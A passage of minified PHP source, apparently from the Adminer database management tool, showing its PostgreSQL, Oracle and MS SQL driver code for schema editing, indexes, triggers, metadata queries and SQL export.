.=($eb?"\n)":"");}}array_unshift($ah,"CREATE TABLE ".table($B)." (\n".implode(",\n",$b)."\n)$P");}elseif($b)array_unshift($ah,"ALTER TABLE ".table($R)."\n".implode(",\n",$b));if($Nh)array_unshift($ah,$Nh);if($ob!==null)$ah[]="COMMENT ON TABLE ".table($B)." IS ".q($ob);foreach($ah
as$H){if(!queries($H))return
false;}return
true;}function
alter_indexes($R,$b){$h=array();$ic=array();$ah=array();foreach($b
as$X){if($X[0]!="INDEX")$h[]=($X[2]=="DROP"?"\nDROP CONSTRAINT ".idf_escape($X[1]):"\nADD".($X[1]!=""?" CONSTRAINT ".idf_escape($X[1]):"")." $X[0] ".($X[0]=="PRIMARY"?"KEY ":"")."(".implode(", ",$X[2]).")");elseif($X[2]=="DROP")$ic[]=idf_escape($X[1]);else$ah[]="CREATE INDEX ".idf_escape($X[1]!=""?$X[1]:uniqid($R."_"))." ON ".table($R).($X[3]?" USING $X[3]":"")." (".implode(", ",$X[2]).")".($X[4]?" WHERE $X[4]":"");}if($h)array_unshift($ah,"ALTER TABLE ".table($R).implode(",",$h));if($ic)array_unshift($ah,"DROP INDEX ".implode(", ",$ic));foreach($ah
as$H){if(!queries($H))return
false;}return
true;}function
truncate_tables($T){return
queries("TRUNCATE ".implode(", ",array_map('Adminer\table',$T)));}function
drop_views($Gj){return
drop_tables($Gj);}function
drop_tables($T){foreach($T
as$R){$P=table_status1($R);if(!queries("DROP ".strtoupper($P["Engine"])." ".table($R)))return
false;}return
true;}function
move_tables($T,$Gj,$Di){foreach(array_merge($T,$Gj)as$R){$P=table_status1($R);if(!queries("ALTER ".strtoupper($P["Engine"])." ".table($R)." SET SCHEMA ".idf_escape($Di)))return
false;}return
true;}function
trigger($B,$R){if($B=="")return
array("Statement"=>"EXECUTE PROCEDURE ()");$e=array();$Z="WHERE trigger_schema = current_schema() AND event_object_table = ".q($R)." AND trigger_name = ".q($B);foreach(get_rows("SELECT * FROM information_schema.triggered_update_columns $Z")as$K)$e[]=$K["event_object_column"];$J=array();foreach(get_rows('SELECT trigger_name AS "Trigger", action_timing AS "Timing", event_manipulation AS "Event", \'FOR EACH \' || action_orientation AS "Type", action_statement AS "Statement"
FROM information_schema.triggers'."
$Z
ORDER BY event_manipulation DESC")as$K){if($e&&$K["Event"]=="UPDATE")$K["Event"].=" OF";$K["Of"]=implode(", ",$e);if($J)$K["Event"].=" OR $J[Event]";$J=$K;}return$J;}function
triggers($R){$J=array();foreach(get_rows("SELECT * FROM information_schema.triggers WHERE trigger_schema = current_schema() AND event_object_table = ".q($R))as$K){$cj=trigger($K["trigger_name"],$R);$J[$cj["Trigger"]]=array($cj["Timing"],$cj["Event"]);}return$J;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER"),"Event"=>array("INSERT","UPDATE","UPDATE OF","DELETE","INSERT OR UPDATE","INSERT OR UPDATE OF","DELETE OR INSERT","DELETE OR UPDATE","DELETE OR UPDATE OF","DELETE OR INSERT OR UPDATE","DELETE OR INSERT OR UPDATE OF"),"Type"=>array("FOR EACH ROW","FOR EACH STATEMENT"),);}function
routine($B,$U){$L=get_rows('SELECT routine_definition AS definition, LOWER(external_language) AS language, *
FROM information_schema.routines
WHERE routine_schema = current_schema() AND specific_name = '.q($B));$J=idx($L,0,array());$J["returns"]=array("type"=>$J["type_udt_name"]);$J["fields"]=get_rows('SELECT parameter_name AS field, data_type AS type, character_maximum_length AS length, parameter_mode AS inout
FROM information_schema.parameters
WHERE specific_schema = current_schema() AND specific_name = '.q($B).'
ORDER BY ordinal_position');return$J;}function
routines(){return
get_rows('SELECT specific_name AS "SPECIFIC_NAME", routine_type AS "ROUTINE_TYPE", routine_name AS "ROUTINE_NAME", type_udt_name AS "DTD_IDENTIFIER"
FROM information_schema.routines
WHERE routine_schema = current_schema()
ORDER BY SPECIFIC_NAME');}function
routine_languages(){return
get_vals("SELECT LOWER(lanname) FROM pg_catalog.pg_language");}function
routine_id($B,$K){$J=array();foreach($K["fields"]as$m){$y=$m["length"];$J[]=$m["type"].($y?"($y)":"");}return
idf_escape($B)."(".implode(", ",$J).")";}function
last_id($I){$K=(is_object($I)?$I->fetch_row():array());return($K?$K[0]:0);}function
explain($f,$H){return$f->query("EXPLAIN $H");}function
found_rows($S,$Z){if(preg_match("~ rows=([0-9]+)~",get_val("EXPLAIN SELECT * FROM ".idf_escape($S["Name"]).($Z?" WHERE ".implode(" AND ",$Z):"")),$mh))return$mh[1];}function
types(){return
get_key_vals("SELECT oid, typname
FROM pg_type
WHERE typnamespace = ".driver()->nsOid."
AND typtype IN ('b','d','e')
AND typelem = 0");}function
type_values($t){$Cc=get_vals("SELECT enumlabel FROM pg_enum WHERE enumtypid = $t ORDER BY enumsortorder");return($Cc?"'".implode("', '",array_map('addslashes',$Cc))."'":"");}function
schemas(){return
get_vals("SELECT nspname FROM pg_namespace ORDER BY nspname");}function
get_schema(){return
get_val("SELECT current_schema()");}function
set_schema($Bh,$g=null){if(!$g)$g=connection();$J=$g->query("SET search_path TO ".idf_escape($Bh));driver()->setUserTypes(types());return$J;}function
foreign_keys_sql($R){$J="";$P=table_status1($R);$fd=foreign_keys($R);ksort($fd);foreach($fd
as$ed=>$dd)$J
.="ALTER TABLE ONLY ".idf_escape($P['nspname']).".".idf_escape($P['Name'])." ADD CONSTRAINT ".idf_escape($ed)." $dd[definition] ".($dd['deferrable']?'DEFERRABLE':'NOT DEFERRABLE').";\n";return($J?"$J\n":$J);}function
create_sql($R,$_a,$ni){$sh=array();$Ph=array();$P=table_status1($R);if(is_view($P)){$Fj=view($R);return
rtrim("CREATE VIEW ".idf_escape($R)." AS $Fj[select]",";");}$n=fields($R);if(count($P)<2||empty($n))return
false;$J="CREATE TABLE ".idf_escape($P['nspname']).".".idf_escape($P['Name'])." (\n    ";foreach($n
as$m){$tg=idf_escape($m['field']).' '.$m['full_type'].default_value($m).($m['null']?"":" NOT NULL");$sh[]=$tg;if(preg_match('~nextval\(\'([^\']+)\'\)~',$m['default'],$Ye)){$Oh=$Ye[1];$ci=first(get_rows((min_version(10)?"SELECT *, cache_size AS cache_value FROM pg_sequences WHERE schemaname = current_schema() AND sequencename = ".q(idf_unescape($Oh)):"SELECT * FROM $Oh"),null,"-- "));$Ph[]=($ni=="DROP+CREATE"?"DROP SEQUENCE IF EXISTS $Oh;\n":"")."CREATE SEQUENCE $Oh INCREMENT $ci[increment_by] MINVALUE $ci[min_value] MAXVALUE $ci[max_value]".($_a&&$ci['last_value']?" START ".($ci["last_value"]+1):"")." CACHE $ci[cache_value];";}}if(!empty($Ph))$J=implode("\n\n",$Ph)."\n\n$J";$G="";foreach(indexes($R)as$ce=>$v){if($v['type']=='PRIMARY'){$G=$ce;$sh[]="CONSTRAINT ".idf_escape($ce)." PRIMARY KEY (".implode(', ',array_map('Adminer\idf_escape',$v['columns'])).")";}}foreach(driver()->checkConstraints($R)as$ub=>$wb)$sh[]="CONSTRAINT ".idf_escape($ub)." CHECK $wb";$J
.=implode(",\n    ",$sh)."\n)";$vg=driver()->partitionsInfo($P['Name']);if($vg)$J
.="\nPARTITION BY $vg[partition_by]($vg[partition])";$J
.="\nWITH (oids = ".($P['Oid']?'true':'false').");";if($P['Comment'])$J
.="\n\nCOMMENT ON TABLE ".idf_escape($P['nspname']).".".idf_escape($P['Name'])." IS ".q($P['Comment']).";";foreach($n
as$Xc=>$m){if($m['comment'])$J
.="\n\nCOMMENT ON COLUMN ".idf_escape($P['nspname']).".".idf_escape($P['Name']).".".idf_escape($Xc)." IS ".q($m['comment']).";";}foreach(get_rows("SELECT indexdef FROM pg_catalog.pg_indexes WHERE schemaname = current_schema() AND tablename = ".q($R).($G?" AND indexname != ".q($G):""),null,"-- ")as$K)$J
.="\n\n$K[indexdef];";return
rtrim($J,';');}function
truncate_sql($R){return"TRUNCATE ".table($R);}function
trigger_sql($R){$P=table_status1($R);$J="";foreach(triggers($R)as$bj=>$aj){$cj=trigger($bj,$P['Name']);$J
.="\nCREATE TRIGGER ".idf_escape($cj['Trigger'])." $cj[Timing] $cj[Event] ON ".idf_escape($P["nspname"]).".".idf_escape($P['Name'])." $cj[Type] $cj[Statement];;\n";}return$J;}function
use_sql($Nb){return"\connect ".idf_escape($Nb);}function
show_variables(){return
get_rows("SHOW ALL");}function
process_list(){return
get_rows("SELECT * FROM pg_stat_activity ORDER BY ".(min_version(9.2)?"pid":"procpid"));}function
convert_field($m){}function
unconvert_field($m,$J){return$J;}function
support($Vc){return
preg_match('~^(check|columns|comment|database|drop_col|dump|descidx|indexes|kill|partial_indexes|routine|scheme|sequence|sql|table|trigger|type|variables|view'.(min_version(9.3)?'|materializedview':'').(min_version(11)?'|procedure':'').(connection()->flavor=='cockroach'?'':'|processlist').')$~',$Vc);}function
kill_process($X){return
queries("SELECT pg_terminate_backend(".number($X).")");}function
connection_id(){return"SELECT pg_backend_pid()";}function
max_connections(){return
get_val("SHOW max_connections");}}add_driver("oracle","Oracle (beta)");if(isset($_GET["oracle"])){define('Adminer\DRIVER',"oracle");if(extension_loaded("oci8")&&$_GET["ext"]!="pdo"){class
Db
extends
SqlDb{var$extension="oci8";var$_current_db;private$link;function
_error($Dc,$l){if(ini_bool("html_errors"))$l=html_entity_decode(strip_tags($l));$l=preg_replace('~^[^:]*: ~','',$l);$this->error=$l;}function
attach($N,$V,$F){$this->link=@oci_new_connect($V,$F,$N,"AL32UTF8");if($this->link){$this->server_info=oci_server_version($this->link);return'';}$l=oci_error();return$l["message"];}function
quote($Q){return"'".str_replace("'","''",$Q)."'";}function
select_db($Nb){$this->_current_db=$Nb;return
true;}function
query($H,$jj=false){$I=oci_parse($this->link,$H);$this->error="";if(!$I){$l=oci_error($this->link);$this->errno=$l["code"];$this->error=$l["message"];return
false;}set_error_handler(array($this,'_error'));$J=@oci_execute($I);restore_error_handler();if($J){if(oci_num_fields($I))return
new
Result($I);$this->affected_rows=oci_num_rows($I);oci_free_statement($I);}return$J;}}class
Result{var$num_rows;private$result,$offset=1;function
__construct($I){$this->result=$I;}private
function
convert($K){foreach((array)$K
as$x=>$X){if(is_a($X,'OCILob')||is_a($X,'OCI-Lob'))$K[$x]=$X->load();}return$K;}function
fetch_assoc(){return$this->convert(oci_fetch_assoc($this->result));}function
fetch_row(){return$this->convert(oci_fetch_row($this->result));}function
fetch_field(){$d=$this->offset++;$J=new
\stdClass;$J->name=oci_field_name($this->result,$d);$J->type=oci_field_type($this->result,$d);$J->charsetnr=(preg_match("~raw|blob|bfile~",$J->type)?63:0);return$J;}function
__destruct(){oci_free_statement($this->result);}}}elseif(extension_loaded("pdo_oci")){class
Db
extends
PdoDb{var$extension="PDO_OCI";var$_current_db;function
attach($N,$V,$F){return$this->dsn("oci:dbname=//$N;charset=AL32UTF8",$V,$F);}function
select_db($Nb){$this->_current_db=$Nb;return
true;}}}class
Driver
extends
SqlDriver{static$extensions=array("OCI8","PDO_OCI");static$jush="oracle";var$insertFunctions=array("date"=>"current_date","timestamp"=>"current_timestamp",);var$editFunctions=array("number|float|double"=>"+/-","date|timestamp"=>"+ interval/- interval","char|clob"=>"||",);var$operators=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL","SQL");var$functions=array("length","lower","round","upper");var$grouping=array("avg","count","count distinct","max","min","sum");function
__construct(Db$f){parent::__construct($f);$this->types=array('Numbers'=>array("number"=>38,"binary_float"=>12,"binary_double"=>21),'Date and time'=>array("date"=>10,"timestamp"=>29,"interval year"=>12,"interval day"=>28),'Strings'=>array("char"=>2000,"varchar2"=>4000,"nchar"=>2000,"nvarchar2"=>4000,"clob"=>4294967295,"nclob"=>4294967295),'Binary'=>array("raw"=>2000,"long raw"=>2147483648,"blob"=>4294967295,"bfile"=>4294967296),);}function
begin(){return
true;}function
insertUpdate($R,array$L,array$G){foreach($L
as$O){$rj=array();$Z=array();foreach($O
as$x=>$X){$rj[]="$x = $X";if(isset($G[idf_unescape($x)]))$Z[]="$x = $X";}if(!(($Z&&queries("UPDATE ".table($R)." SET ".implode(", ",$rj)." WHERE ".implode(" AND ",$Z))&&connection()->affected_rows)||queries("INSERT INTO ".table($R)." (".implode(", ",array_keys($O)).") VALUES (".implode(", ",$O).")")))return
false;}return
true;}function
hasCStyleEscapes(){return
true;}}function
idf_escape($u){return'"'.str_replace('"','""',$u).'"';}function
table($u){return
idf_escape($u);}function
get_databases($hd){return
get_vals("SELECT DISTINCT tablespace_name FROM (
SELECT tablespace_name FROM user_tablespaces
UNION SELECT tablespace_name FROM all_tables WHERE tablespace_name IS NOT NULL
)
ORDER BY 1");}function
limit($H,$Z,$z,$C=0,$Mh=" "){return($C?" * FROM (SELECT t.*, rownum AS rnum FROM (SELECT $H$Z) t WHERE rownum <= ".($z+$C).") WHERE rnum > $C":($z?" * FROM (SELECT $H$Z) WHERE rownum <= ".($z+$C):" $H$Z"));}function
limit1($R,$H,$Z,$Mh="\n"){return" $H$Z";}function
db_collation($j,$jb){return
get_val("SELECT value FROM nls_database_parameters WHERE parameter = 'NLS_CHARACTERSET'");}function
logged_user(){return
get_val("SELECT USER FROM DUAL");}function
get_current_db(){$j=connection()->_current_db?:DB;unset(connection()->_current_db);return$j;}function
where_owner($Og,$ng="owner"){if(!$_GET["ns"])return'';return"$Og$ng = sys_context('USERENV', 'CURRENT_SCHEMA')";}function
views_table($e){$ng=where_owner('');return"(SELECT $e FROM all_views WHERE ".($ng?:"rownum < 0").")";}function
tables_list(){$Fj=views_table("view_name");$ng=where_owner(" AND ");return
get_key_vals("SELECT table_name, 'table' FROM all_tables WHERE tablespace_name = ".q(DB)."$ng
UNION SELECT view_name, 'view' FROM $Fj
ORDER BY 1");}function
count_tables($i){$J=array();foreach($i
as$j)$J[$j]=get_val("SELECT COUNT(*) FROM all_tables WHERE tablespace_name = ".q($j));return$J;}function
table_status($B=""){$J=array();$Fh=q($B);$j=get_current_db();$Fj=views_table("view_name");$ng=where_owner(" AND ");foreach(get_rows('SELECT table_name "Name", \'table\' "Engine", avg_row_len * num_rows "Data_length", num_rows "Rows" FROM all_tables WHERE tablespace_name = '.q($j).$ng.($B!=""?" AND table_name = $Fh":"")."
UNION SELECT view_name, 'view', 0, 0 FROM $Fj".($B!=""?" WHERE view_name = $Fh":"")."
ORDER BY 1")as$K)$J[$K["Name"]]=$K;return$J;}function
is_view($S){return$S["Engine"]=="view";}function
fk_support($S){return
true;}function
fields($R){$J=array();$ng=where_owner(" AND ");foreach(get_rows("SELECT * FROM all_tab_columns WHERE table_name = ".q($R)."$ng ORDER BY column_id")as$K){$U=$K["DATA_TYPE"];$y="$K[DATA_PRECISION],$K[DATA_SCALE]";if($y==",")$y=$K["CHAR_COL_DECL_LENGTH"];$J[$K["COLUMN_NAME"]]=array("field"=>$K["COLUMN_NAME"],"full_type"=>$U.($y?"($y)":""),"type"=>strtolower($U),"length"=>$y,"default"=>$K["DATA_DEFAULT"],"null"=>($K["NULLABLE"]=="Y"),"privileges"=>array("insert"=>1,"select"=>1,"update"=>1,"where"=>1,"order"=>1),);}return$J;}function
indexes($R,$g=null){$J=array();$ng=where_owner(" AND ","aic.table_owner");foreach(get_rows("SELECT aic.*, ac.constraint_type, atc.data_default
FROM all_ind_columns aic
LEFT JOIN all_constraints ac ON aic.index_name = ac.constraint_name AND aic.table_name = ac.table_name AND aic.index_owner = ac.owner
LEFT JOIN all_tab_cols atc ON aic.column_name = atc.column_name AND aic.table_name = atc.table_name AND aic.index_owner = atc.owner
WHERE aic.table_name = ".q($R)."$ng
ORDER BY ac.constraint_type, aic.column_position",$g)as$K){$ce=$K["INDEX_NAME"];$lb=$K["DATA_DEFAULT"];$lb=($lb?trim($lb,'"'):$K["COLUMN_NAME"]);$J[$ce]["type"]=($K["CONSTRAINT_TYPE"]=="P"?"PRIMARY":($K["CONSTRAINT_TYPE"]=="U"?"UNIQUE":"INDEX"));$J[$ce]["columns"][]=$lb;$J[$ce]["lengths"][]=($K["CHAR_LENGTH"]&&$K["CHAR_LENGTH"]!=$K["COLUMN_LENGTH"]?$K["CHAR_LENGTH"]:null);$J[$ce]["descs"][]=($K["DESCEND"]&&$K["DESCEND"]=="DESC"?'1':null);}return$J;}function
view($B){$Fj=views_table("view_name, text");$L=get_rows('SELECT text "select" FROM '.$Fj.' WHERE view_name = '.q($B));return
reset($L);}function
collations(){return
array();}function
information_schema($j){return
get_schema()=="INFORMATION_SCHEMA";}function
error(){return
h(connection()->error);}function
explain($f,$H){$f->query("EXPLAIN PLAN FOR $H");return$f->query("SELECT * FROM plan_table");}function
found_rows($S,$Z){}function
auto_increment(){return"";}function
alter_table($R,$B,$n,$jd,$ob,$yc,$c,$_a,$E){$b=$ic=array();$gg=($R?fields($R):array());foreach($n
as$m){$X=$m[1];if($X&&$m[0]!=""&&idf_escape($m[0])!=$X[0])queries("ALTER TABLE ".table($R)." RENAME COLUMN ".idf_escape($m[0])." TO $X[0]");$fg=$gg[$m[0]];if($X&&$fg){$Jf=process_field($fg,$fg);if($X[2]==$Jf[2])$X[2]="";}if($X)$b[]=($R!=""?($m[0]!=""?"MODIFY (":"ADD ("):"  ").implode($X).($R!=""?")":"");else$ic[]=idf_escape($m[0]);}if($R=="")return
queries("CREATE TABLE ".table($B)." (\n".implode(",\n",$b)."\n)");return(!$b||queries("ALTER TABLE ".table($R)."\n".implode("\n",$b)))&&(!$ic||queries("ALTER TABLE ".table($R)." DROP (".implode(", ",$ic).")"))&&($R==$B||queries("ALTER TABLE ".table($R)." RENAME TO ".table($B)));}function
alter_indexes($R,$b){$ic=array();$ah=array();foreach($b
as$X){if($X[0]!="INDEX"){$X[2]=preg_replace('~ DESC$~','',$X[2]);$h=($X[2]=="DROP"?"\nDROP CONSTRAINT ".idf_escape($X[1]):"\nADD".($X[1]!=""?" CONSTRAINT ".idf_escape($X[1]):"")." $X[0] ".($X[0]=="PRIMARY"?"KEY ":"")."(".implode(", ",$X[2]).")");array_unshift($ah,"ALTER TABLE ".table($R).$h);}elseif($X[2]=="DROP")$ic[]=idf_escape($X[1]);else$ah[]="CREATE INDEX ".idf_escape($X[1]!=""?$X[1]:uniqid($R."_"))." ON ".table($R)." (".implode(", ",$X[2]).")";}if($ic)array_unshift($ah,"DROP INDEX ".implode(", ",$ic));foreach($ah
as$H){if(!queries($H))return
false;}return
true;}function
foreign_keys($R){$J=array();$H="SELECT c_list.CONSTRAINT_NAME as NAME,
c_src.COLUMN_NAME as SRC_COLUMN,
c_dest.OWNER as DEST_DB,
c_dest.TABLE_NAME as DEST_TABLE,
c_dest.COLUMN_NAME as DEST_COLUMN,
c_list.DELETE_RULE as ON_DELETE
FROM ALL_CONSTRAINTS c_list, ALL_CONS_COLUMNS c_src, ALL_CONS_COLUMNS c_dest
WHERE c_list.CONSTRAINT_NAME = c_src.CONSTRAINT_NAME
AND c_list.R_CONSTRAINT_NAME = c_dest.CONSTRAINT_NAME
AND c_list.CONSTRAINT_TYPE = 'R'
AND c_src.TABLE_NAME = ".q($R);foreach(get_rows($H)as$K)$J[$K['NAME']]=array("db"=>$K['DEST_DB'],"table"=>$K['DEST_TABLE'],"source"=>array($K['SRC_COLUMN']),"target"=>array($K['DEST_COLUMN']),"on_delete"=>$K['ON_DELETE'],"on_update"=>null,);return$J;}function
truncate_tables($T){return
apply_queries("TRUNCATE TABLE",$T);}function
drop_views($Gj){return
apply_queries("DROP VIEW",$Gj);}function
drop_tables($T){return
apply_queries("DROP TABLE",$T);}function
last_id($I){return
0;}function
schemas(){$J=get_vals("SELECT DISTINCT owner FROM dba_segments WHERE owner IN (SELECT username FROM dba_users WHERE default_tablespace NOT IN ('SYSTEM','SYSAUX')) ORDER BY 1");return($J?:get_vals("SELECT DISTINCT owner FROM all_tables WHERE tablespace_name = ".q(DB)." ORDER BY 1"));}function
get_schema(){return
get_val("SELECT sys_context('USERENV', 'SESSION_USER') FROM dual");}function
set_schema($Dh,$g=null){if(!$g)$g=connection();return$g->query("ALTER SESSION SET CURRENT_SCHEMA = ".idf_escape($Dh));}function
show_variables(){return
get_rows('SELECT name, display_value FROM v$parameter');}function
show_status(){$J=array();$L=get_rows('SELECT * FROM v$instance');foreach(reset($L)as$x=>$X)$J[]=array($x,$X);return$J;}function
process_list(){return
get_rows('SELECT
	sess.process AS "process",
	sess.username AS "user",
	sess.schemaname AS "schema",
	sess.status AS "status",
	sess.wait_class AS "wait_class",
	sess.seconds_in_wait AS "seconds_in_wait",
	sql.sql_text AS "sql_text",
	sess.machine AS "machine",
	sess.port AS "port"
FROM v$session sess LEFT OUTER JOIN v$sql sql
ON sql.sql_id = sess.sql_id
WHERE sess.type = \'USER\'
ORDER BY PROCESS
');}function
convert_field($m){}function
unconvert_field($m,$J){return$J;}function
support($Vc){return
preg_match('~^(columns|database|drop_col|indexes|descidx|processlist|scheme|sql|status|table|variables|view)$~',$Vc);}}add_driver("mssql","MS SQL");if(isset($_GET["mssql"])){define('Adminer\DRIVER',"mssql");if(extension_loaded("sqlsrv")&&$_GET["ext"]!="pdo"){class
Db
extends
SqlDb{var$extension="sqlsrv";private$link,$result;private
function
get_error(){$this->error="";foreach(sqlsrv_errors()as$l){$this->errno=$l["code"];$this->error
.="$l[message]\n";}$this->error=rtrim($this->error);}function
attach($N,$V,$F){$vb=array("UID"=>$V,"PWD"=>$F,"CharacterSet"=>"UTF-8");$ii=adminer()->connectSsl();if(isset($ii["Encrypt"]))$vb["Encrypt"]=$ii["Encrypt"];if(isset($ii["TrustServerCertificate"]))$vb["TrustServerCertificate"]=$ii["TrustServerCertificate"];$j=adminer()->database();if($j!="")$vb["Database"]=$j;$this->link=@sqlsrv_connect(preg_replace('~:~',',',$N),$vb);if($this->link){$ge=sqlsrv_server_info($this->link);$this->server_info=$ge['SQLServerVersion'];}else$this->get_error();return($this->link?'':$this->error);}function
quote($Q){$kj=strlen($Q)!=strlen(utf8_decode($Q));return($kj?"N":"")."'".str_replace("'","''",$Q)."'";}function
select_db($Nb){return$this->query(use_sql($Nb));}function
query($H,$jj=false){$I=sqlsrv_query($this->link,$H);$this->error="";if(!$I){$this->get_error();return
false;}return$this->store_result($I);}function
multi_query($H){$this->result=sqlsrv_query($this->link,$H);$this->error="";if(!$this->result){$this->get_error();return
false;}return
true;}function
store_result($I=null){if(!$I)$I=$this->result;if(!$I)return
false;if(sqlsrv_field_metadata($I))return
new
Result($I);$this->affected_rows=sqlsrv_rows_affected($I);return
true;}function
next_result(){return$this->result?!!sqlsrv_next_result($this->result):false;}}class
Result{var$num_rows;private$result,$offset=0,$fields;function
__construct($I){$this->result=$I;}private
function
convert($K){foreach((array)$K
as$x=>$X){if(is_a($X,'DateTime'))$K[$x]=$X->format("Y-m-d H:i:s");}return$K;}function
fetch_assoc(){return$this->convert(sqlsrv_fetch_array($this->result,SQLSRV_FETCH_ASSOC));}function
fetch_row(){return$this->convert(sqlsrv_fetch_array($this->result,SQLSRV_FETCH_NUMERIC));}function
fetch_field(){if(!$this->fields)$this->fields=sqlsrv_field_metadata($this->result);$m=$this->fields[$this->offset++];$J=new
\stdClass;$J->name=$m["Name"];$J->type=($m["Type"]==1?254:15);$J->charsetnr=0;return$J;}function
seek($C){for($s=0;$s<$C;$s++)sqlsrv_fetch($this->result);}function
__destruct(){sqlsrv_free_stmt($this->result);}}function
last_id($I){return
get_val("SELECT SCOPE_IDENTITY()");}function
explain($f,$H){$f->query("SET SHOWPLAN_ALL ON");$J=$f->query($H);$f->query("SET SHOWPLAN_ALL OFF");return$J;}}else{abstract
class
MssqlDb
extends
PdoDb{function
select_db($Nb){return$this->query(use_sql($Nb));}function
lastInsertId(){return$this->pdo->lastInsertId();}}function
last_id($I){return
connection()->lastInsertId();}function
explain($f,$H){}if(extension_loaded("pdo_sqlsrv")){class
Db
extends
MssqlDb{var$extension="PDO_SQLSRV";function
attach($N,$V,$F){return$this->dsn("sqlsrv:Server=".str_replace(":",",",$N),$V,$F);}}}elseif(extension_loaded("pdo_dblib")){class
Db
extends
MssqlDb{var$extension="PDO_DBLIB";function
attach($N,$V,$F){return$this->dsn("dblib:charset=utf8;host=".str_replace(":",";unix_socket=",preg_replace('~:(\d)~',';port=\1',$N)),$V,$F);}}}}class
Driver
extends
SqlDriver{static$extensions=array("SQLSRV","PDO_SQLSRV","PDO_DBLIB");static$jush="mssql";var$insertFunctions=array("date|time"=>"getdate");var$editFunctions=array("int|decimal|real|float|money|datetime"=>"+/-","char|text"=>"+",);var$operators=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL");var$functions=array("len","lower","round","upper");var$grouping=array("avg","count","count distinct","max","min","sum");var$generated=array("PERSISTED","VIRTUAL");var$onActions="NO ACTION|CASCADE|SET NULL|SET DEFAULT";static
function
connect($N,$V,$F){if($N=="")$N="localhost:1433";return
parent::connect($N,$V,$F);}function
__construct(Db$f){parent::__construct($f);$this->types=array('Numbers'=>array("tinyint"=>3,"smallint"=>5,"int"=>10,"bigint"=>20,"bit"=>1,"decimal"=>0,"real"=>12,"float"=>53,"smallmoney"=>10,"money"=>20),'Date and time'=>array("date"=>10,"smalldatetime"=>19,"datetime"=>19,"datetime2"=>19,"time"=>8,"datetimeoffset"=>10),'Strings'=>array("char"=>8000,"varchar"=>8000,"text"=>2147483647,"nchar"=>4000,"nvarchar"=>4000,"ntext"=>1073741823),'Binary'=>array("binary"=>8000,"varbinary"=>8000,"image"=>2147483647),);}function
insertUpdate($R,array$L,array$G){$n=fields($R);$rj=array();$Z=array();$O=reset($L);$e="c".implode(", c",range(1,count($O)));$Pa=0;$me=array();foreach($O
as$x=>$X){$Pa++;$B=idf_unescape($x);if(!$n[$B]["auto_increment"])$me[$x]="c$Pa";if(isset($G[$B]))$Z[]="$x = c$Pa";else$rj[]="$x = c$Pa";}$Bj=array();foreach($L
as$O)$Bj[]="(".implode(", ",$O).")";if($Z){$Rd=queries("SET IDENTITY_INSERT ".table($R)." ON");$J=queries("MERGE ".table($R)." USING (VALUES\n\t".implode(",\n\t",$Bj)."\n) AS source ($e) ON ".implode(" AND ",$Z).($rj?"\nWHEN MATCHED THEN UPDATE SET ".implode(", ",$rj):"")."\nWHEN NOT MATCHED THEN INSERT (".implode(", ",array_keys($Rd?$O:$me)).") VALUES (".($Rd?$e:implode(", ",$me)).");");if($Rd)queries("SET IDENTITY_INSERT ".table($R)." OFF");}else$J=queries("INSERT INTO ".table($R)." (".implode(", ",array_keys($O)).") VALUES\n".implode(",\n",$Bj));return$J;}function
begin(){return
queries("BEGIN TRANSACTION");}function
tableHelp($B,$xe=false){$Qe=array("sys"=>"catalog-views/sys-","INFORMATION_SCHEMA"=>"information-schema-views/",);$_=$Qe[get_schema()];if($_)return"relational-databases/system-$_".preg_replace('~_~','-',strtolower($B))."-transact-sql";}}function
idf_escape($u){return"[".str_replace("]","]]",$u)."]";}function
table($u){return($_GET["ns"]!=""?idf_escape($_GET["ns"]).".":"").idf_escape($u);}function
get_databases($hd){return
get_vals("SELECT name FROM sys.databases WHERE name NOT IN ('master', 'tempdb', 'model', 'msdb')");}function
limit($H,$Z,$z,$C=0,$Mh=" "){return($z?" TOP (".($z+$C).")":"")." $H$Z";}function
limit1($R,$H,$Z,$Mh="\n"){return
limit($H,$Z,1,0,$Mh);}function
db_collation($j,$jb){return
get_val("SELECT collation_name FROM sys.databases WHERE name = ".q($j));}function
logged_user(){return
get_val("SELECT SUSER_NAME()");}function
tables_list(){return
get_key_vals("SELECT name, type_desc FROM sys.all_objects WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') ORDER BY name");}function
count_tables($i){$J=array();foreach($i
as$j){connection()->select_db($j);$J[$j]=get_val("SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES");}return$J;}function
table_status($B=""){$J=array();foreach(get_rows("SELECT ao.name AS Name, ao.type_desc AS Engine, (SELECT value FROM fn_listextendedproperty(default, 'SCHEMA', schema_name(schema_id), 'TABLE', ao.name, null, null)) AS Comment
FROM sys.all_objects AS ao
WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') ".($B!=""?"AND name = ".q($B):"ORDER BY name"))as$K)$J[$K["Name"]]=$K;return$J;}function
is_view($S){return$S["Engine"]=="VIEW";}function
fk_support($S){return
true;}function
fields($R){$qb=get_key_vals("SELECT objname, cast(value as varchar(max)) FROM fn_listextendedproperty('MS_DESCRIPTION', 'schema', ".q(get_schema()).", 'table', ".q($R).", 'column', NULL)");$J=array();$ui=get_val("SELECT object_id FROM sys.all_objects WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') AND name = ".q($R));foreach(get_rows("SELECT c.max_length, c.precision, c.scale, c.name, c.is_nullable, c.is_identity, c.collation_name, t.name type, d.definition [default], d.name default_constraint, i.is_primary_key
FROM sys.all_columns c
JOIN sys.types t ON c.user_type_id = t.user_type_id
LEFT JOIN sys.default_constraints d ON c.default_object_id = d.object_id
LEFT JOIN sys.index_columns ic ON c.object_id = ic.object_id AND c.column_id = ic.column_id
LEFT JOIN sys.indexes i ON ic.object_id = i.object_id AND ic.index_id = i.index_id
